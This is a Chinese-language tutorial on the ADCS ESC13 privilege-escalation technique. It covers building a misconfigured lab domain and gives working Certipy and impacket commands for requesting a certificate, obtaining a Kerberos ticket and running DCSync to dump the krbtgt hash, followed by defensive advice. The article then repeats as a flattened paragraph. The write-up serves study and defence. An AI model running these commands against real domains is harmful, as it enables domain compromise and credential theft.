滥用ADCS进行权限提升——ESC13详解
字数 1707 2025-08-06 00:52:37

滥用ADCS进行权限提升——ESC13详解

0x1 背景介绍

Active Directory证书服务(ADCS)是Windows Server中提供公钥基础设施(PKI)功能的组件。自Will Schroeder(@harmj0y)和Lee Christensen(@tifkin_)在2021年BlackHat大会上发布白皮书《Certified Pre-Owned - Abusing Active Directory Certificate Services》以来,ADCS的攻击面首次被系统化地研究。

在白皮书中提出了ESC1-ESC8共8种攻击手法,后续又补充了ESC9-ESC12。本文详细分析了一种新的攻击手法——ESC13,这是一种利用证书颁发策略和OID组链接实现的权限提升漏洞。

0x2 技术原理分析

核心概念

ESC13是一种域内权限提升漏洞,其提升的权限取决于错误配置指向的组的权限。该漏洞需要三个关键要素:

  1. 证书颁发策略:控制证书颁发的一组规则和条件
  2. 指向AD组的OID组链接:将颁发策略与AD组关联的特殊属性
  3. 使用证书认证:必须使用证书进行身份验证

证书颁发策略

证书颁发策略存储在LDAP中的路径:

CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local

可以通过PowerShell查看:

Get-ADObject -Filter * -SearchBase "CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=esg-red,DC=local" -Properties DisplayName,msPKI-Cert-Template-OID

证书模板的颁发策略存储在msPKI-Certificate-Policy属性中。

OID组链接

关键属性msDS-OIDToGroupLink将OID表示的颁发策略与组对象关联。当用户使用带有相关颁发策略的证书进行身份验证时,系统会认为该用户属于关联的AD组(即使用户实际不在该组中)。

OID组链接的要求

  1. 必须是AD的通用组(Universal Group)
  2. 组内不能有任何成员

证书认证

必须使用证书进行身份验证,因此证书模板必须支持证书认证。通过分析Kerberos票据的PAC部分可以验证权限提升是否成功。

0x3 漏洞复现步骤

环境准备

  • 域控:Windows Server 2019 Datacenter
  • ADCS服务器:Windows Server 2019 Datacenter
  • 域名:esg-red.local
  • CA名:esg-red-ADCS-CA

配置漏洞

  1. 创建测试用户和组

    • 创建普通用户ESC13User,确保没有加入任何特权组
    • 创建通用组ESC13Group,组内不添加任何用户
    • 为ESC13Group组授予DCSync权限
  2. 配置证书模板

    • 复制现有的"工作组身份验证"模板
    • 修改模板名称
    • 在"扩展"选项卡中添加新的颁发策略
    • 确保授予用户申请证书的权限
    • 将"使用者名称"从DNS名改为用户主体名称(UPN)
  3. 设置OID组链接

    • 使用adsiedit.msc打开ADSI编辑器
    • 导航到CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=esg-red,DC=local
    • 找到创建的颁发策略,修改msDS-OIDToGroupLink属性为ESC13Group

漏洞利用

  1. 信息收集
    使用Certipy的find功能扫描ADCS,确认ESC13漏洞存在

  2. 申请证书

    python entry.py req -u 'ESC13User@esg-red.local' -p 'Admin13' -template 'ESC13' -target adcs.esg-red.local -ca esg-red-ADCS-CA
    
  3. 获取Kerberos票据

    python entry.py auth -pfx esc13user.pfx -dc-ip 10.10.10.128 -kirbi
    impacket-ticketConverter esc13user.kirbi esc13user.ccache
    
  4. 验证权限

    python aaa.py esc13user.ccache --aes <AES_KEY>
    

    检查PAC中是否包含ESC13Group的SID

  5. 执行DCSync攻击

    export KRB5CCNAME=esc13user.ccache
    impacket-secretsdump esg-red.local/ESC13User@DC.esg-red.local -k -no-pass -just-dc-user 'krbtgt' -debug
    

0x4 总结与防御建议

漏洞特点

  1. 利用限制较多:

    • 需要特定的错误配置
    • 提升的权限取决于关联组的权限
    • 必须使用证书认证
  2. 可配合其他漏洞使用:

    • 如ESC5(修改PKI的ACL)

防御措施

  1. 审计与监控

    • 定期检查证书模板配置
    • 监控msDS-OIDToGroupLink属性的修改
  2. 配置加固

    • 限制证书模板的申请权限
    • 避免将高权限组与颁发策略关联
    • 删除不必要的通用组
  3. 最小权限原则

    • 严格限制通用组的权限
    • 避免授予不必要的DCSync权限
  4. 日志分析

    • 监控异常的证书申请行为
    • 分析异常的Kerberos票据请求

ESC13虽然利用条件较为苛刻,但一旦成功利用可能导致严重的权限提升。管理员应充分了解ADCS的安全配置,定期审计PKI环境,以防范此类攻击。

滥用ADCS进行权限提升——ESC13详解 0x1 背景介绍 Active Directory证书服务(ADCS)是Windows Server中提供公钥基础设施(PKI)功能的组件。自Will Schroeder(@harmj0y)和Lee Christensen(@tifkin_ )在2021年BlackHat大会上发布白皮书《Certified Pre-Owned - Abusing Active Directory Certificate Services》以来,ADCS的攻击面首次被系统化地研究。 在白皮书中提出了ESC1-ESC8共8种攻击手法,后续又补充了ESC9-ESC12。本文详细分析了一种新的攻击手法——ESC13,这是一种利用证书颁发策略和OID组链接实现的权限提升漏洞。 0x2 技术原理分析 核心概念 ESC13是一种域内权限提升漏洞,其提升的权限取决于错误配置指向的组的权限。该漏洞需要三个关键要素: 证书颁发策略 :控制证书颁发的一组规则和条件 指向AD组的OID组链接 :将颁发策略与AD组关联的特殊属性 使用证书认证 :必须使用证书进行身份验证 证书颁发策略 证书颁发策略存储在LDAP中的路径: 可以通过PowerShell查看: 证书模板的颁发策略存储在 msPKI-Certificate-Policy 属性中。 OID组链接 关键属性 msDS-OIDToGroupLink 将OID表示的颁发策略与组对象关联。当用户使用带有相关颁发策略的证书进行身份验证时,系统会认为该用户属于关联的AD组(即使用户实际不在该组中)。 OID组链接的要求 : 必须是AD的通用组(Universal Group) 组内不能有任何成员 证书认证 必须使用证书进行身份验证,因此证书模板必须支持证书认证。通过分析Kerberos票据的PAC部分可以验证权限提升是否成功。 0x3 漏洞复现步骤 环境准备 域控:Windows Server 2019 Datacenter ADCS服务器:Windows Server 2019 Datacenter 域名:esg-red.local CA名:esg-red-ADCS-CA 配置漏洞 创建测试用户和组 创建普通用户ESC13User,确保没有加入任何特权组 创建通用组ESC13Group,组内不添加任何用户 为ESC13Group组授予DCSync权限 配置证书模板 复制现有的"工作组身份验证"模板 修改模板名称 在"扩展"选项卡中添加新的颁发策略 确保授予用户申请证书的权限 将"使用者名称"从DNS名改为用户主体名称(UPN) 设置OID组链接 使用adsiedit.msc打开ADSI编辑器 导航到 CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=esg-red,DC=local 找到创建的颁发策略,修改 msDS-OIDToGroupLink 属性为ESC13Group 漏洞利用 信息收集 使用Certipy的find功能扫描ADCS,确认ESC13漏洞存在 申请证书 获取Kerberos票据 验证权限 检查PAC中是否包含ESC13Group的SID 执行DCSync攻击 0x4 总结与防御建议 漏洞特点 利用限制较多: 需要特定的错误配置 提升的权限取决于关联组的权限 必须使用证书认证 可配合其他漏洞使用: 如ESC5(修改PKI的ACL) 防御措施 审计与监控 : 定期检查证书模板配置 监控 msDS-OIDToGroupLink 属性的修改 配置加固 : 限制证书模板的申请权限 避免将高权限组与颁发策略关联 删除不必要的通用组 最小权限原则 : 严格限制通用组的权限 避免授予不必要的DCSync权限 日志分析 : 监控异常的证书申请行为 分析异常的Kerberos票据请求 ESC13虽然利用条件较为苛刻,但一旦成功利用可能导致严重的权限提升。管理员应充分了解ADCS的安全配置,定期审计PKI环境,以防范此类攻击。